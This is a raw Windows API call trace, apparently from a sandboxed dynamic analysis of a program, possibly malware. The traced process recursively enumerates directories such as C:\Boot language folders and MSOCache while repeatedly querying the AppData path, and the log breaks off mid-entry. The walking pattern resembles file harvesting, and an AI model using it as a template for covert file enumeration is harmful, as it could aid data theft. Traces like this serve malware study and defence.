0x6f50e8 [0266.507] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.507] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.507] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\tr-TR" | out: psz1="C:\\Boot\\tr-TR") returned="C:\\Boot\\tr-TR" [0266.507] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\tr-TR" | out: psz1="C:\\Boot\\tr-TR") returned="C:\\Boot\\tr-TR" [0266.507] lstrlenW (lpString="\\*") returned 2 [0266.507] lstrlenW (lpString="C:\\Boot\\tr-TR") returned 13 [0266.507] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.508] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*" (normalized: "c:\\boot\\tr-tr\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.510] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.510] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.510] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.511] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.511] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0266.511] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="zh-CN" | out: pszDest="C:\\Boot\\zh-CN") returned="C:\\Boot\\zh-CN" [0266.511] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.511] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.511] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.511] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\zh-CN" | out: psz1="C:\\Boot\\zh-CN") returned="C:\\Boot\\zh-CN" [0266.511] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\zh-CN" | out: psz1="C:\\Boot\\zh-CN") returned="C:\\Boot\\zh-CN" [0266.511] lstrlenW (lpString="\\*") returned 2 [0266.511] lstrlenW (lpString="C:\\Boot\\zh-CN") returned 13 [0266.511] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.511] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*" (normalized: "c:\\boot\\zh-cn\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.512] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.512] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.513] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.513] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.513] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0266.513] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="zh-HK" | out: pszDest="C:\\Boot\\zh-HK") returned="C:\\Boot\\zh-HK" [0266.513] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.513] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.513] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.513] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\zh-HK" | out: psz1="C:\\Boot\\zh-HK") returned="C:\\Boot\\zh-HK" [0266.513] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\zh-HK" | out: psz1="C:\\Boot\\zh-HK") returned="C:\\Boot\\zh-HK" [0266.513] lstrlenW (lpString="\\*") returned 2 [0266.513] lstrlenW (lpString="C:\\Boot\\zh-HK") returned 13 [0266.513] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.514] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*" (normalized: "c:\\boot\\zh-hk\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.516] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.516] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.516] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.516] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.516] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0266.516] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="zh-TW" | out: pszDest="C:\\Boot\\zh-TW") returned="C:\\Boot\\zh-TW" [0266.516] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.516] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.516] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.516] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\zh-TW" | out: psz1="C:\\Boot\\zh-TW") returned="C:\\Boot\\zh-TW" [0266.516] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\zh-TW" | out: psz1="C:\\Boot\\zh-TW") returned="C:\\Boot\\zh-TW" [0266.517] lstrlenW (lpString="\\*") returned 2 [0266.517] lstrlenW (lpString="C:\\Boot\\zh-TW") returned 13 [0266.517] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.517] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*" (normalized: "c:\\boot\\zh-tw\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.518] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.518] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.518] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.518] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.518] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0266.518] LocalFree (hMem=0x6f4ec0) returned 0x0 [0266.519] LocalFree (hMem=0x6bf278) returned 0x0 [0266.519] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0266.519] LocalFree (hMem=0x6f15b0) returned 0x0 [0266.519] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1a, dwReserved1=0x6e284e, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0266.519] PathCombineW (in: pszDest=0x6f15b0, pszDir="C:", pszFile="Documents and Settings" | out: pszDest="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0266.519] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0266.519] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f1fe0 [0266.519] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.519] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Documents and Settings" | out: psz1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0266.519] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\Documents and Settings" | out: psz1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0266.520] lstrlenW (lpString="\\*") returned 2 [0266.520] lstrlenW (lpString="C:\\Documents and Settings") returned 25 [0266.520] LocalAlloc (uFlags=0x40, uBytes=0x136) returned 0x6bf278 [0266.520] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*" (normalized: "c:\\documents and settings\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x24f5f4, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xeb, ftLastWriteTime.dwLowDateTime=0x6f15e2, ftLastWriteTime.dwHighDateTime=0x3424b933, nFileSizeHigh=0x24f800, nFileSizeLow=0x751dc33b, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="$", cAlternateFileName="쁴È￿￿\x03")) returned 0xffffffff [0266.520] LocalFree (hMem=0x6f4ec0) returned 0x0 [0266.521] LocalFree (hMem=0x6bf278) returned 0x0 [0266.521] LocalFree (hMem=0x6f15b0) returned 0x0 [0266.521] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f858 | out: lpFindFileData=0x24f858*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x6e284e, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0266.521] PathCombineW (in: pszDest=0x6f15b0, pszDir="C:", pszFile="MSOCache" | out: pszDest="C:\\MSOCache") returned="C:\\MSOCache" [0266.521] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0266.521] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f1fe0 [0266.521] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.521] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\MSOCache" | out: psz1="C:\\MSOCache") returned="C:\\MSOCache" [0266.521] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\MSOCache" | out: psz1="C:\\MSOCache") returned="C:\\MSOCache" [0266.521] lstrlenW (lpString="\\*") returned 2 [0266.521] lstrlenW (lpString="C:\\MSOCache") returned 11 [0266.521] LocalAlloc (uFlags=0x40, uBytes=0x11a) returned 0x6bf278 [0266.522] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*" (normalized: "c:\\msocache\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.523] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\MSOCache", pszFile="All Users" | out: pszDest="C:\\MSOCache\\All Users") returned="C:\\MSOCache\\All Users" [0266.523] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.523] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.523] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.523] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\MSOCache\\All Users" | out: psz1="C:\\MSOCache\\All Users") returned="C:\\MSOCache\\All Users" [0266.523] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\MSOCache\\All Users" | out: psz1="C:\\MSOCache\\All Users") returned="C:\\MSOCache\\All Users" [0266.523] lstrlenW (lpString="\\*") returned 2 [0266.523] lstrlenW (lpString="C:\\MSOCache\\All Users") returned 21 [0266.523] LocalAlloc (uFlags=0x40, uBytes=0x12e) returned 0x6f3c38 [0266.524] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*" (normalized: "c:\\msocache\\all users\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.531] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-0011-0000-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-0011-0000-0000-0000000FF1CE}-C" [0266.531] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.531] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1fe2960, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd2113460, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2113460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-0016-0409-0000-0000000FF1CE}-C", cAlternateFileName="{974F5~1")) returned 1 [0266.531] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-0016-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-0016-0409-0000-0000000FF1CE}-C" [0266.531] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.531] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd33f8300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd3f92e40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3f92e40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-0018-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9CA7F~1")) returned 1 [0266.531] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-0018-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C" [0266.531] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.531] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-0019-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9032D~1")) returned 1 [0266.531] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-0019-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C" [0266.532] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.532] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-001A-0409-0000-0000000FF1CE}-C", cAlternateFileName="{98E9A~1")) returned 1 [0266.532] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-001A-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C" [0266.532] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.532] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-001B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9E8C9~1")) returned 1 [0266.532] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-001B-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C" [0266.532] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.532] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-002C-0409-0000-0000000FF1CE}-C", cAlternateFileName="{90160~3")) returned 1 [0266.532] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-002C-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C" [0266.532] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.532] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2433140, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd247f400, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247f400, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-0044-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9E0A5~1")) returned 1 [0266.532] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-0044-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-0044-0409-0000-0000000FF1CE}-C" [0266.532] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.532] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f4a3e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1fe2960, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe2960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-0090-0409-0000-0000000FF1CE}-C", cAlternateFileName="{935E4~1")) returned 1 [0266.532] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-0090-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C" [0266.532] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.532] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-00A1-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9155A~1")) returned 1 [0266.532] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-00A1-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C" [0266.532] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.533] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd2113460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd240cfe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd240cfe0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-00BA-0409-0000-0000000FF1CE}-C", cAlternateFileName="{97C62~1")) returned 1 [0266.533] PathCombineW (in: pszDest=0x6f3d70, pszDir="C:\\MSOCache\\All Users", pszFile="{90160000-00BA-0409-0000-0000000FF1CE}-C" | out: pszDest="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90160000-00BA-0409-0000-0000000FF1CE}-C" [0266.533] LocalFree (hMem=0x6f3d70) returned 0x0 [0266.533] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="{90160000-00E1-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9C97F~1")) returned 